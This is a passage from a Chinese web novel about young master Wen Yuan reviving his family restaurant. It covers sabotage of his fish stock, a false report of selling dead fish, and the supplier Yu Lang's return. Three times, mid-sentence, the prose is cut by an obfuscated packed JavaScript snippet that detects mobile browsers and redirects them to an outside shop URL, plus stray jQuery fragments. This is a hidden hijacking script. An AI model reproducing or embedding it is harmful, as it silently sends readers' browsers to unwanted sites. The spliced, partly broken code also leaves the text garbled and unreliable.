“余浪,把今日菜品写到水牌上。”温沅一看那重重的木板,想都没想便喊,喊完突然挑一下眉:“哎,忘了你不识字。” 余浪提起水笔刚要往水牌上写,闻言勾了勾唇角:“这可怎么办,少爷?” “不识字也不耽误你写字啊。”温沅抽出折扇往水牌上一点,笑着说:“快写。” 余浪偏头看了他一眼,提笔点水。 温沅看着余浪大刀阔斧地提笔,最后写出一排潇洒的大字和一条可爱的鱼有些讶异:“你这个鱼有点可爱啊。” 像你。余浪心想。 “螺蛳要画么?”余浪问。 “当然。”温沅指使他:“画完搬出去。” 午时刚过,食肆迎来今日第一桌客人,这是一家五口带着孩子来打牙祭,紧接着进店的是一群汉子,看样子像是码头扛大包的,坐下第一句便是点酒。 “水牌上的爆香螺蛳先来三份。”汉子说。 那边的孩子听到,央求爹娘也点一份尝尝,一下便销出去四份。 食肆忙得热火朝天,温沅到厨房端了碗鱼汤在后院喝,这时,余一洪突然上门,满脸焦急。 温沅愣了一下:“怎么了?” “温少爷,我们想找浪哥。”余一洪急道:“村里头打起来了。” “啊?”温沅懵了。 什么玩意儿? 等余浪过来,余一洪东一句西一句说得有些乱,那边洗菜的吕三娘和郭巴子都竖起了耳朵。 温沅听了个大概:“你们村子和村子还打架呢?” “好久没打过了,这回是上名村的人过来说是要到我们村捞鱼,村里人不愿,他们便守在村口,像是要干架,所以村长让我来喊浪哥。”余一洪焦急的脸上隐隐有些兴奋。 村子和村子干架可是大事,在外的汉子都必须招回来,尤其像余浪这般武力值拉满的汉子,有他没他可完全不一样。 十几年前垌渔村和另一个村子也有过嫌隙,打了好几回都没赢,村里人一直被那个村子的人欺负,直到余浪长大一些,带着村里年轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224314|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉子打赢了一回,自那以后,另一个村子的人见了他们村子的人就跑。 余浪威名在外,垌渔村周围的几个村子都挺和谐,也不知这回上名村犯了什么毛病。 余浪皱起眉:“谁带的头?” “就是今早遇到的那三个无赖!”余一洪气道,“他们非说江里的鱼他们也能捞,明明那是咱们村子养的,凭什么让他们捞去!” 余浪一听便知这三人是冲着他来的,想来捞鱼是假,阻挠他做卖鱼生意才是真。 但他现在签了契书,不能随意去留,一切得少爷决定。 “要是你们村子打输了,以后不就难送鱼了?”温沅喝了口鱼汤,一挥手,“不许输啊。” “少爷放心。”余浪说:“鱼一日都不会少。” 次日,温沅没等到余浪来上工,鱼儿和螺蛳是余泽平余一洪送来的,并且送来了两日量的鱼和螺蛳。 没想到村子和村子干架,能折腾这么久。 “上名村的人不敢打,但是也没走,浪哥在他们就跑,浪哥不在又回来守着,孬得很。”余一洪不屑。 “温少爷,浪哥说还得两日才能结束,所以让我们先把鱼送来。”余泽平说。 一旁的陈贵礼闻言,立即道:“别是村子里送不出好鱼了吧,若是送不出,可不能耽误我们食肆找新的供鱼人啊。” “自然不会!”余泽平急忙道:“浪哥说绝不会耽误送鱼的事,温少爷,浪哥说话从不食言。” 陈贵礼哼了一声:“空口白话罢了,真要食言了,我们去哪找人?” 余一洪听着不爽,当即就要呛声,被余泽平拉住了,这是浪哥找的新活计,可不能让他们给搞砸了。 “温少爷,浪哥说两日,定是两日。” “行,这鱼儿我收下了。”温沅点了点头,把吕三娘招呼过来:“三娘,这鱼交给你了。” “哎!”吕三娘手擦了擦襜衣,认真听余泽平教她如何养鱼。 “少东家,您可不能糊涂,食肆生意好不容易有了起色,若是被他们耽误了,可还得了?”陈贵礼苦口婆心劝着。 他见那二人专心教吕三娘,小声对温沅说,“少东家,不如多寻几个供鱼人,可不能给他们拿捏您的机会啊……” 温沅瞥了陈贵礼一眼,沉思片刻道:“我心里有数,陈掌柜忙去吧。” 陈贵礼虚了眼温沅的神色,见他不为所动,暗自咬了咬牙,琢磨着还得想想别的法子。 余浪一走,食肆少了个得力干将,客满时,连温沅都得帮着招呼客人,几趟跑下来,直接瘫倒在椅子上。 “食肆少个人就是不行啊……”温沅扯着袖子闻了闻:“这螺蛳味也太浓了,早知问余浪要份香囊的配方,配一个去去味。” 爆香螺蛳引来的客人比第一日多了近一倍,常做的几道鲜鱼菜品渐渐被客人们熟知,最重要的是,食肆攒下了老客。 便是那爱钓鱼吃鱼的杂货铺老板。 “温老板,明日我再订一桌全鱼宴,这回定要给我做好些,我要请一位贵人吃饭。”杂货铺老板笑说。 温沅还未说话,一旁的陈贵礼喜道:“哎哟,那可真是太好了,就等您来了!” “是。”温沅也笑说:“好鱼定给您留着!” 一桌全鱼宴快赶上一天挣的钱了,且杂货铺老板每次带来的朋友,都成了回头客,这给温家食肆带来不少生意呢。 全鱼宴一定得做好! 14. 食肆整治(十四) 温家食肆现有的菜品属于大众菜品,每家食肆都有,口味各有不同,然而想让食肆长久地经营下去,光靠这几种菜品远远不够。 温沅琢磨着能不能再加新菜品。 温沅找上了陈大立,“这几日再来一道‘熝炖鱼鲜’。” 这是温沅之前在青州城吃过的菜品,像是鱼和各种青菜瓜类的大杂烩。 先是把大豆黄卷、白嫩豆腐、莴苣等菜炖熟铺在盘底,再将一条两斤重的熟鱼,从鱼肚剖开,摊在最上方,淋上鲜辣酱汁一起熝炖。 一道菜荤素相宜,色泽鲜美,对于平日难得下馆子想吃硬菜又想配点素菜的平头百姓而言,是项不错的选择。 “除了熝炖鱼鲜,还能做鱼丸、鱼豆腐、煎鱼炸鱼、鱼片粥……”温沅说得越多,在青州城的记忆就越清晰,他顿了一下,说:“现在做不了那么多,一样一样来。” 陈大立听到又要试菜,头都大了,光是现在的菜品都做不过来了,还让他试菜,这少东家莫不是故意整他? 温沅想了想:“三娘,这道菜你来。” “我?”吕三娘指着自己,愣了。 陈大立也懵了,吕三娘会做菜?就会捏几个四不像的包子,她会做菜? “对。”温沅折扇一点,“这菜不急,慢慢试。” 陈大立一听慢慢试,双手抱着脑袋立即道:“三娘来。” 吕三娘头皮顿时发麻,她可是见过陈大立被少东家来回折腾到面如死灰的模样,陈大立这般好的厨艺都如此绝望,要换成她,岂不是痛不欲生? 陈贵礼听着只觉荒谬:“少东家,三娘只是个厨娘,哪会什么做菜,您这是胡闹啊,再说了,三娘试菜,炙烤小鱼怎么办?” “现下有螺蛳,炙烤小鱼的香料成本过高,是时候换种做法了。”温沅懒得听他们多言,“就这么定了。”说完悠悠哉哉回柜台收钱去。 陈贵礼早上的好心情顿时拉跨,转念又想,尽管折腾去吧,也没多少时间容你折腾了。 吕三娘恍恍惚惚地出了后厨,周七豆见她神情不对,连忙过来扶着她。 “七豆啊……少东家让我试菜呢。” 周七豆不懂她为何愁眉苦脸:“上回少东家不是也让你烤小鱼了?” “那不一样,烤小鱼只需要看着火候呢,看一遍就会,这做大菜,我可一点儿经验都没有呢。”三娘木着脸。 吕三娘不知少东家为何让她试菜,她自认没什么做菜的天赋,在陈大立手下做帮厨,也就是备备菜切切肉,偶尔陈大立忙不过来,会帮着做几道菜。 陈大立总说她为人愚钝,不是做菜的好料子,也就是手脚还算麻利,能帮着记一记炖菜时间,做帮厨不错,做大厨不行。 食肆有点起色不容易,她太害怕会搞砸。 “啊……”周七豆不知该说什么,“三娘,你可以的,你做的包子很好吃。” “那是包子,和大菜不同啊……”三娘继续木着脸。 郭巴子高高兴兴地凑过来:“三娘试菜?那岂不是会有好多好多试得不行的菜吃了?” 吕三娘瘫着一张脸看他。 “试菜好啊试菜妙,试菜简直呱呱叫!我有这五脏庙,只有试菜填得了!”郭巴子甩着布巾蹦去大堂。 且不论试菜之事如何,今日的炙烤小鱼还得做,晚食一过,天色渐暗,各家店铺门前点起灯笼,最后一位客人离去,食肆打样。 忙碌了一天的伙计们围坐后院,心满意足地吃了顿晚食。 入夜,明月高挂。 众人吃过饭,坐在后院闲聊几句各自散去。 周七豆刚想关房门,瞅见吕三娘愣愣地盯着水缸里的鱼,时不时叹气摇头,他走过去说:“三娘,少东家说了试菜不着急,不如回去睡觉?” 吕三娘愁了一整天,愁着愁着,都愁恍惚了:“我看这鱼怎么都不爱动了,这意思是不是让我别杀他们做菜呢?” “……”周七豆想了想说:“天黑,鱼也要睡觉呢。” “是吗……”吕三娘抹了把脸,“罢了罢了,回去睡觉,明日的事明日再说罢。” 周七豆夜里没睡好,五更天时,他起夜上了个茅厕,提起裤子刚要开门,门外忽地传来一声沉闷的动静。 他猛地惊醒,后背传来的一丝凉意让他顿在原地。 ……偷子? 前几日这条街巷来了几个偷子,幸好被夜里巡街的捕快抓了,当时闹得挺大,食肆里的人都被吵醒了。 这才过几日,难不成又来了? 周七豆屏息拉开一丝门缝,门外灯歇月暗,天色透出微光,看不清整座后院,只能依稀看到晾衣架上飘动的衣裳,影影绰绰。 他松了一口气,估摸着是自己没睡醒听错了。 就在这时,一股穿堂风掠过,周七豆寒毛直立,战战兢兢转过头,后门不知什么时候开了一条小缝。 ……昨晚没关后门? 风从周七豆的耳边吹过,他搓了搓手臂,小心翼翼地走过去,插鞘果然没插上。 兴许是三娘睡前忧虑着试菜之事忘了关门。 周七豆一抬眼,一双眼睛赫然出现在门后。 他瞳孔猛地一缩,慌慌张张地往后退想要喊人,结果喉咙发紧喊不出声。 “七豆?”门外有人喊。 周七豆还在后退。 门开了,“是我是我。” 是吕三娘。 “……三、三娘?”周七豆惊得满头大汗。 “方才有没有人进来过?”吕三娘左手端着一板白豆腐,右手提着一袋面粉焦急进门。 “怎么了?”周七豆愣住。 “刚刚我采买回来时远远看到有个人从咱们门前跑过。”吕三娘说:“但是看锁时,锁头又没坏。” “难不成是偷子?”周七豆震惊。 “快去喊少东家!”吕三娘立即道。 周七豆连忙去喊温沅和郭巴子。 温沅得知此事,立即翻开床板,钱匣还在,打开细数一下,十六两五钱,完完整整。 柜子和桌子都没有被翻过的痕迹,门上插鞘也没有动过。 他检查一番后,出来和其他人对了一下,所有人都说自己房间没有丢失东西。 “那偷子当真是从后门跑出去的?”温沅问吕三娘。 吕三娘说:“是啊少东家,但离得远,我没看清那人的脸,不过……” “不过什么?”郭巴子急着问:“快说啊。” “不过我看那人好像有些眼熟,就是想不起在哪里见过。”吕三娘也急呢。 “难不成是前几日的偷子又来了?”郭巴子说,“我记得三娘说那日出去采买正好看到偷子被抓呢。” 吕三娘仔细想了想,很有可能。只是偷子会这么快被放出? “若是偷子偷的东西不多,进牢里吃几日苦头就能出来了。”温沅说。 “少东家!”周七豆忽地高喊一声,“这鱼不动了!” 众人连忙围过去看,两个大水缸里的大鱼全都侧翻,甚至有些已经肚皮朝上,有的鱼鳃还在微弱开合,但没多久,开合停下。 温沅立即拿过捞鱼网看看底下还有没有存活的,无一例外,全部死亡,就连螺蛳都没逃过:“怎么会……” 他皱起眉仔细看了看,忽然发现水面上一片油亮,他顾不上水脏腥味,用手搅弄一下,举起手看了看,果然是油,凑近一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224315|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻,是菜籽油。 “看看油还在不在。”温沅立即说。 吕三娘跑进厨房一看,顿时叫了起来。 只见厨房里放油盐酱醋的罐子全部被打翻,台上地上乱七八糟地混在一起,堆在角落的木柴被水打湿,除此之外,别的都没什么变化。 “少东家,窖房里的菜籽油也没了。”周七豆拿着油罐从窖房出来。 温沅低头看满缸翻肚皮的鱼儿:“三娘今早遇到的兴许不是偷子,而是让食肆做不成生意的贼子。” 众人齐齐愣住,食肆靠卖鱼有了起色,这番把鱼全部弄死,又恰巧余浪不在无法提供新鱼,加上所有调料柴火都毁掉,生意定会出问题。 这怕不是哪家食肆看不惯温家食肆有生意,故意派人来使坏。 此刻天光已然大亮,陈贵礼和陈大立从后门进来,见着众人对着大水缸愁云惨淡。 “怎么了?”陈贵礼率先问道,他走得极快,走近一看,顿时不用再问。 “昨夜不是还好好的?”陈贵礼竖起眉,“三娘,少东家把照料鱼儿的活儿交给你,你到底在做什么!” “掌柜的,这是有人故意使坏,我今早——”吕三娘试图解释。 “你还学会推脱了,若你能细心照料,这油能进到水缸里?”陈贵礼瞪了她一眼,“我看你说什么见着人,也是假的吧?” 温沅一顿,看了陈贵礼一眼。 吕三娘有口难辨,无论是不是有人使坏,这鱼儿死了是事实,要问责,也是问到她头上。 陈大立幸灾乐祸地瞅了她一眼:“三娘不会是害怕试菜,故意把鱼弄死吧……” “我、我没有!”吕三娘焦急地看向温沅,“少东家,您让我试菜,我确实害怕做不好,可我没想过弄死鱼啊……” 温沅忍着满手油腻,深吸一口气说:“现在不是追究责任的时候,今日杂货铺老板带贵人上门,不能搞砸,三娘七豆你们去菜肉行买鲜鱼买调料,小鱼和螺蛳暂时先不做。” “这个时辰不一定能买到好鱼呢。”陈贵礼说,“不如推了杂货铺老板的宴席,改日再办?也好过现下匆匆忙忙的办不好。” “多贵都行,只要能买到鲜鱼。”温沅说:“一定要最鲜活的,次品不要,能买几条买几条,哪怕今日只做杂货铺老板这一桌。” 这是好不容易攒下的贵客,温沅不想失去。 吕三娘和周七豆拿着银钱赶去菜肉行买鱼,整个菜肉行只有五家鱼摊,卯时一过,鱼摊上剩下的鱼大多没那么鲜活了。 果不其然,吕三娘和周七豆按照温沅的要求只买回四条鲜鱼,且都不足两斤。 这点鱼远远不够。 温沅第一回遇到如此棘手的事情,颇为头疼,又隐隐有些兴奋:“除了菜肉行,还有哪处卖鱼?” 今州城靠江近海,卖鱼的摊子不可能只有菜肉行那么几家,街市上一定有散卖的鱼贩子,只是温沅对今州城不熟,一时想不出要去何处买。 以前都是陈大立去采买,因此他了解得最深:“近一些的东三街、西里街,远一些的城西城北都有。” 温沅想起余浪曾和他说过,垌渔村的同村兄弟多是去西里街散卖,“三娘你到西里街采买,七豆你到东三街看看,大立你来处理这些鱼,郭巴子清扫食肆照常开门,陈掌柜去把柴火搬到后院晒干。” “不就是想扰得咱们做不成生意么……”温沅慢悠悠地说:“鱼没了买,调料没了再添,没什么大不了的,各自忙去吧。” 陈贵礼没想到温沅如此轻巧就将此事揭过了,一时有些摸不准这小少爷心里在想什么。 温沅只有一个想法——这温家食肆,他不仅要开,还要做到最好! 15. 食肆整治(十五) 赶在巳时前,周七豆和吕三娘各带回四条鲜鱼,这些鱼足够做午食的全鱼宴。 “需要腌制的菜品先备好。”温沅叮嘱陈大立,“万不可因为时间紧急而忽视了口味。” 陈大立立即高声辩解:“少东家,我一直都很上心的啊,每日做菜可都是按您口味来的。” “我知晓,陈大厨辛苦。”温沅说。 陈大立这才昂首进厨房做菜。 “郭巴子。”温沅招了招手。 “……哎!”郭巴子甩着布巾走过去,“少东家您找我啊?” “你去街市上买两捆柴回来。”温沅说。 郭巴子脸一垮:“这、我……少东家,您不会让我把柴背回来吧?这我哪行啊……” “寻个卖柴翁送上门便是。”温沅不容他拒绝,摆摆手道:“去吧。” “……”郭巴子跺着脚去了。 此刻离午时只剩一个时辰,光是洗菜切菜杀鱼就得花不少时间,平日这些活儿多是吕三娘来做,今日周七豆打扫完大堂也加入进来。 虽说温沅面上没表露出不高兴,但伙计们都不敢在此刻触少东家的霉头,吕三娘更是比平时勤快且小心翼翼,怕再搞砸一点就会被辞退。 午时刚到,杂货铺老板准时带着三位好友出现在食肆门口,和前几回一样,进了东六雅间。 郭巴子给几人倒茶,询问何时上菜。 杂货铺老板笑道:“做好了就上,你家的鱼我放心。”说完转头和另一位年约五十的老者说:“这家的鱼,和我在青州城吃过的一模一样,甚是怀念啊。” “如此,我定要好好尝尝了!”老者抚须笑道。 郭巴子退出雅间到后厨侧门清了清嗓子高声唱菜,唱菜讲究一个先冷菜后热菜。 “凉拌麻辣鱼皮、水晶鱼冻。香酥小炸鱼、桃酥鱼片。辣烩鲤鱼、清蒸鲈鱼、豆豉鱼头。白玉鱼汤、鱼蓉粟米羹。再来一桶珠润白米饭——” 唱完后,他把新做好的竹片子挂到了木板上。 在食肆吃饭,听伙计唱菜是一种享受,唱的人爽利,听的人舒坦,后面来的客人不知点什么菜时,这就是最好的参考。 然而今日食肆食材不多,这一顿点完后,温沅让郭巴子把打烊的牌子挂出去。 郭巴子兴高采烈列地去挂木牌,刚想进门吃饭的客人诧异道:“这么早就打烊了?” “少东家让打烊了。”郭巴子笑着说,早早打烊意味着今日没活儿干,爽哉爽哉。 “先前我还见着有人进去呢。”客人往里探头看了一眼。 “今天食肆出了点意外,食材不够。”郭巴子解释道,“您要不明日再来?” 客人就冲着那一口螺蛳来的,这会儿没吃上有些失望:“那行吧,明日多备些螺蛳啊。” “好嘞!您走好。”郭巴子说。 温沅想着余浪得后日才回,明日的鲜鱼螺蛳得寻个新的鱼贩提前订下。 也不知余浪那边如何了,怎么就在这个当口事赶事了呢。 “浪哥,两日没睡,还能撑住吧?”余泽平摇船载余浪到岸上。 “浪哥之前十日不睡都没事呢。”余一洪说。 “那能一样么?这两晚可是时刻跟那群无赖周旋,铁打的人都扛不住。”余泽平说。 余浪没说话,下了船往远处看了一眼,上名村的陈家三兄弟白日只敢躲在暗处,夜里撑着船来盯梢,若真是捞江里的鱼垌渔村的村民也不好说什么。 可他们盯的是村民辛苦挖的鱼塘里的鱼,且只盯着,不偷,也没放药草毒鱼,被人发现就跑,没人又回来。 垌渔村的村民不得不防着,最终耗了两晚,余浪没闲心耗下去,他可是答应过他家少爷两日结束的。 上了岸等到午食时,余浪直接找去上名村。 他只带了余泽平余一洪两人过去,明目张胆地闯到了陈家,他见了那三兄弟二话没说直接拎起一人抡到水井边,然后拽着那人的衣领把人提到了井里。 陈三吓得丝毫不敢动弹,生怕余浪一个松手他就摔下去:“大哥!大哥……快来啊大哥!” 陈大和陈二刚冲上前,却见余浪手一压,陈三嚎得更凄惨了。 “你想干什么!”陈大怒瞪他。 “我们才要问你们想做什么。”余一洪拇指一抹鼻子,哼道:“天天守着算什么好汉?有本事现在打一架!” “你个屁娃子这里有你说话的份吗!”陈二指着他。 余一洪啐道:“呸!孬种!就知道你们不敢打!” “你!”陈大气急。 “要打架直接冲我来,我奉陪到底,玩怂的,就这个下场。”余浪说完松开了手,陈三直接挂到了木桶上,木桶的绳子在余浪手里拽着。 他狼狈地踩着木桶,抓着麻绳,哀求道:“别、别松手……大哥你让他别松手啊!大哥二哥!” 陈大陈二不敢再动,急得满头大汗,陈大慌忙说:“你放了我三弟,我们不会再去。” 余浪平静地扫了他们一眼,单臂一扯,竟是将人硬生生扯上半尺,最后将麻绳捆到了摇摇欲坠的辘轳上,拍了拍手带着余泽平余一洪走了。 陈达陈二看得头皮发麻,他们光知道余浪手狠力气大,没想到他这么狠。 回去路上,余泽平问:“浪哥,你手没事吧?”想起他浪哥方才暴起的肌肉,不由地缩了缩脖子。 余浪抓了一下手掌,掌心的红印子清晰可见,没一会儿就渗了血。 余泽平嘶了一声:“得赶紧回去敷草药。” “没事。”余浪随手摘了片叶子把血擦掉,“那三人再来的话,便是食肆找我。” 余泽平一愣:“浪哥,你还要去食肆?” “嗯。”余浪说:“前日午时走,两日时间到,我得回去。” “也不急这半日吧?温少爷也不像那小气之人啊。”余泽平说。 余浪心想:我急。 “浪哥,你对温少爷也太尽心了,我看他那掌柜一点儿也不顺眼。”余一洪说。 “因为他是少爷。”余浪低声说了一句。 温少爷正头疼呢。 午正一刻,食肆来了两个捕快和一个头戴褐色布巾的汉子。 三人一进门,左右扫了眼食肆,一声不吭地往后院走,站在柜台后的陈贵礼想过去拦人,没拦下。 陈贵礼跟上去:“几位这是?” 两个捕快没回话,倒是褐布巾汉子看了他一眼。 眼神对上,陈贵礼暗暗点了一下头。 “你们这,谁是掌柜啊?”胖捕快大步走到水缸旁,低头一看,水缸只有水,脸色有些不好看。 “我,我是掌柜。”陈贵礼指了指从房里出来的温沅,“这位是我们少东家。” 温沅看到进来的三人,疑惑地拱了拱手道:“几位有何事?” “有人告发你们食肆卖死鱼,可有这回事儿?”胖捕快掀开另一个水缸的盖子看了看,还是清水。 温沅一愣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224316|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到死鱼之事并非扰乱生意这么简单,兴许是冲着闭店去的。 到底是哪家食肆对他恨意如此重,竟使出这种下三滥的手段。 “二位大人从何处听来的谣言?本店从未做过欺客之事。” 胖捕快看了褐布巾汉子一眼,那褐布巾汉子连忙说:“大人,小人今早从这家食肆路过,的确闻到了死鱼味,小人从小捕鱼,对这个味熟悉得很!” 话音刚落,瘦捕快隔空嗅了两下,寻着味往后门去,一把掀开地上放的两个背篓,里边正是死鱼。 “大人你看!”褐布巾汉子喊道:“果真是死鱼!” 胖捕快脸上浮起笑,转身往大堂走去:“瘦马,封店!” 瘦捕快甩下背篓盖紧随其后。 “等……”温沅抬手想说话,那两人充耳不闻地往前走。 大堂里没有客人,只有周七豆和郭巴子不明所以地看着两个捕快边走边从胸领抽出封条。 温沅看那两捕快丝毫不听解释,铁了心要贴封条,于是一掌拍到柜台上:“慢着!” “证据确凿,有话,到公堂上说去!”胖捕快这话说得大声,外头渐渐围上几个看客,其中还有隔壁面馆老板,抱着瓜子磕得响亮。 “咋了这是?”面馆老板问。 “温家食肆卖死鱼!”褐布巾汉子对着人群高声说,“这般没良心的食肆就该闭店!” 嚯!有戏看! 一眨眼,温家食肆门外乌泱泱一片,围得是水泄不通。 “这么大胆竟敢卖死鱼糊弄人?” “以前他家的菜就难吃,幸好我没来吃。” “咦——那死鱼可臭,看那少东家年纪轻轻……哎,长得还怪好看的,是不是误会了啊,这么好看的人,不能吧?” “人好看有甚么用,心都是黑的!” …… “谁卖死鱼了,一张嘴就知道放屁。”郭巴子嘀咕道。 “就是啊……明明那鱼是早上刚买回来的。”周七豆小声说,“跑了好几趟呢。” “你们添什么乱!”陈贵礼低呵道。 两人一看掌柜的脸色,退至一旁。 “仅看到食肆有死鱼,如何能断定我们卖死鱼?”温沅把手背在身后甩了甩,“二位大人也太着急了些。” “你这是何意?”胖捕快往前走了一步,威慑道:“阻碍办案仔细你的骨头!” 一旁的陈贵礼像是被吓到了,小声劝温沅:“少东家,您可别冲动啊,进牢不是小事,就让他们封几天店,到时和大人说清楚就没事了。” “怎么能封店,不能封啊!”吕三娘一听,着急道:“我们少东家不是那样的人,这鱼是今——” “你还嫌不够乱?”陈贵礼打断她,“回去!” “陈掌柜你给我闭嘴。”温沅淡声道。 陈贵礼神色一僵,脸面挂不住,叹了叹气退到了另一边。 温沅转过头直视胖捕快:“大人想封店,光凭几条死鱼不够吧?这死鱼可上桌了?可有人吃了?” 胖捕快语塞,没想到这小少爷嘴巴如此利索,他指了指一旁的褐布巾汉子:“你来说。” “死鱼就在后院放着,大家伙都看得到!”褐布巾汉子大声道:“你家水缸一条活鱼都没有,那你们今日开店,卖的不是死鱼是什么?” “且让你瞧瞧卖的是什么。”温沅哼了声,“巴子七豆,把东六雅间的客人请出来,问问几位贵客,咱们食肆卖的到底是什么鱼。” 16. 食肆整治(十六) 吵闹声传到东六雅间,没等伙计去请,雅间的门便开了,里边走出一位瘦高的中年汉子。 杂货铺老板在雅间里听不真切,出来一看,才知外头竟是聚集了这么多人。 路人见他出来,纷纷问道:“是不是吃死鱼了?这家食肆有没有卖死鱼啊?” “那鱼有没有臭啊?” …… “宁老板,”温沅拱手道:“这二位大人说食肆欺客卖死鱼,可否请您作个证,方才吃的全鱼宴里,可否有不妥。” 不等杂货铺老板说话,褐布巾汉子眼珠一转,笑着迎上去,大义凛然道:“若吃了死鱼,我们王捕头定会为您讨回公道!叫这家食肆给您赔钱!赔大钱!” 温沅自小在孙府长大,此等龌龊事见得多了,自是听懂了他言语里的暗示。 要真被他得逞,只怕食肆不保。 “宁老板,食肆的鱼用的是最新鲜的食材,您来吃过几回,定十分清楚。”温沅说。 “温老板那一背篓的死鱼还在后院放着呢,此时说新鲜,笑话!”褐布巾汉子讥讽道。 “此言差矣。”杂货铺老板抬起手对众人道:“后院是不是有死鱼我不知,我只知方才吃的全鱼宴,的确非常新鲜且正宗。” 路人又问:“真的正宗啊?他们没有卖死鱼?” “死鱼还能吃不出来?那肉吃起来都不一样呢。” “所以他们家没有卖死鱼咯?” 就在这时,人群中有一高大汉子走出,他身后背着一大鱼篓,腰间还挂着个小的,篓子上挂着水珠,一阵鱼腥味传出,周围人都往旁边走了一步。 那汉子一脸漠然,径直往前走,停到了温家少东家面前。 温沅愣了愣,没想到余浪这时候竟然回来了。 余浪垂眸看了他一眼,低声喊了句“少爷”,随后卸下鱼篓放置地上,声音不高,却沉稳有力让所有人能听到:“我来给食肆送鲜鱼。” 温沅顺着他目光看向鱼篓,盖子一掀,里面赫然二十几条大鲜鱼,这还不够,转头看小鱼篓里,竟是两只甲鱼! 甲鱼难抓,价高味美,是难得的炖汤好食材。 周围人的重点一下全变了,什么死鱼不死鱼的,甲鱼才是稀罕物啊! 就连杂货铺老板都止不住咽口水:“这两只甲鱼一看就鲜活,好!好!” 温沅一听,立即抬头高声道:“诸位!这位是给我家食肆供鱼的卖鱼郎,你们瞧这鱼是不是新鲜的?” 鱼篓里的鱼儿配合着跳了起来,弹起一阵水花。 能不新鲜么?活蹦乱跳的。 “食肆里的确有死鱼,但温家食肆从不做亏心的事儿,没有新鲜食材我们宁可打烊,诸位且看门上挂的木牌。”温沅手一指,旁边的木门上的确挂了打烊木牌。 “对啊!”一客人忽地说:“今早我路过这家店,想点一份螺蛳,他家的确说了食材不够打烊了,要真是卖死鱼,又怎会这般说?那铁定没卖啊!” “嚯哟,这么有良心的食肆不多了。” “是啊,多的是拿些次品卖高价的食肆呢,那味道也就那样,一问价钱,贵得嘞!” “贵些就罢了,最怕那些又贵又难吃量还少,也就摆盘摆得好看些。” “好看有甚么用?吃进嘴里都一个样,好吃才重要呢!” 褐布巾汉子脸色顿时难看起来,刚刚若是直接封店,哪还有这掰扯的事儿。 “那、那他们家后院,的确有死鱼,这又作何解释?”褐布巾汉子说。 温沅双眼一眯,哼道:“既然大人看到食肆中有死鱼,那我不妨也报个案,今天不亮有窃贼闯入食肆,死鱼便是此窃贼作恶,还望二位大人明察。” 此言一出,众人哗然。 前面说的卖死鱼,怎的又扯到窃贼身上去了? 褐布巾汉子慌乱间朝陈贵礼看了一眼,哪知陈贵礼看也不看他,甚至躲进了食肆里,他气得脸色铁青。 胖捕快见势不妙,脸色忽地一变,对那褐布巾汉子呵道:“你小子竟然诬告良善!” 褐布巾汉子没想到胖捕快竟然当场翻脸不认人,他一咬牙,“王捕——” “啪”的一声,胖捕快照着他的脸重重扇了一耳光。 “本捕快险些被你蒙骗!你是何居心!” 褐布巾汉子目眦欲裂:“你——” “瘦马,带走!”胖捕快不给他任何说话的机会,抽出半刀,“回去好好审!” 瘦捕快立即架起刀,把人押走。 温沅看着那褐布巾汉子远去的背影,借步走到吕三娘身边,低声问:“今早的人可是他?” 吕三娘认了许久,摇了摇头小声说:“身量不像,也不是这身衣裳。” 温沅皱着眉头“嗯”了一声。 胖捕快一改之前态度,对温沅拱了拱手道:“温老板莫要介意,有人告发自然要彻查,这也是本捕快的职责所在。” “辛苦大人。”温沅开门做生意,不愿得罪这等两面三刀的捕快,生怕哪日给他整点事儿,便说:“还望大人帮忙查一查那窃贼是何许人也。” “本捕快最看不惯的就是窃贼,温老板放心。”胖捕快说。 温沅笑笑:“多谢大人。” 胖捕快一走,食肆里的伙计都涌了过来,周七豆问:“那捕快真会查?” “怎可能。”温沅啧了一声,“只说看不惯,又没说要查。” 站在最末尾的陈贵礼,悄悄松了一口气。 死鱼之事有了结果,不仅没让温家食肆名声扫地,反而好好宣扬的一番。 现下大家都知晓温家食肆讲究良心,不卖死鱼,甚至次品都不卖,卖的全是新鲜食材,一时之间,众人都想进食肆大吃一顿。 正好余浪带来了二十几条鲜鱼,食材足够,打烊木牌撤下,敞开大门迎客! 杂货铺老板对甲鱼心心念念,追着温沅说:“甲鱼给我来一只,炖汤!” 甲鱼汤大补,但是甲鱼汤可不好做,做不好容易腥,肉还老,汤不好喝肉不好嚼,这么好的食材,可不是一次就能成的。 “宁老板,甲鱼汤还得试做,味道调好了才能上桌,今日怕是不成了。”温沅歉声道。 杂货铺老板说:“你们食肆的大厨不会做?” 